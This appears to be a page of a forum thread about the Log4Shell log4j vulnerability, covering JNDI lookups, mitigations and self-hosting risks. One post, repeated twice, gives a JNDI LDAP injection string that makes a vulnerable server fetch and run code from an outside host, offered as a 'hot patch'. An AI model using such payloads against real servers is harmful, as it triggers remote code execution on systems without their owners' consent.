81–90 of 289 posts
Most JNDI lookups are disabled, except for JAVA and _LDAP(S)_. What I don't get is why would someone who knows about the vulnerability would _still_ want to do LDAP lookups during logging, even when restricted to localhost.
Earlier quoted context omitted.
Just read through some of that. My favorite response: "Is it wrong to use a log4j exploit as a password? I mean, passwords shouldn't be coming anywhere near logging code... right?" How many times have we heard of raw text passwords being saved in logs?
Only once. At Facebook: https://krebsonsecurity.com/2019/03/facebook-stored-hundreds...
1. blocking outbound jndi lookups through a network policy 2. Blocking possible execs from the Java Process:
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…
Earlier quoted context omitted.
run a Digital Ocean droplet hosting the server? It's up to you if the costs justify the benefits.
This why I've given up and just pay to host anything external to scratch my self hosting itch. If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending. It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.
I mean if that’s your only concern, it’s pretty easy to run Minecraft in a docker container that’s only allowed to accept inbound connections and to make outbound connections to the internet (or more specifically to the Mojang auth server)
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…
[0] https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...
Earlier quoted context omitted.
Here's the alleged original Jira ticket: https://issues.apache.org/jira/browse/LOG4J2-313 PS: Don't post snarky comments on an 8-year old Jira ticket, please.
I have read that ticket and the JNDI documentation multiple times and I still can't picture what it would look like to choose to use this. Can anyone show me a codebase that utilises this feature so we can see why?
So, if you have defined a configuration variable app-name-for-logging, then you can look up:
java:comp/env/app-name-for-logging
The easiest implementation of this was just to allow generic JNDI lookups, which includes LDAP.
What i can't explain is why anyone would legitimately use this feature to make JNDI lookups. It should have been scoped to only lookups in java:comp/env, not arbitrary ones.
Earlier quoted context omitted.
Why would IPv6 make a difference? Addresses aren't private information and they aren't given out randomly.
It's easy to traverse the entire IPv4 space by brute force. Not so with IPv6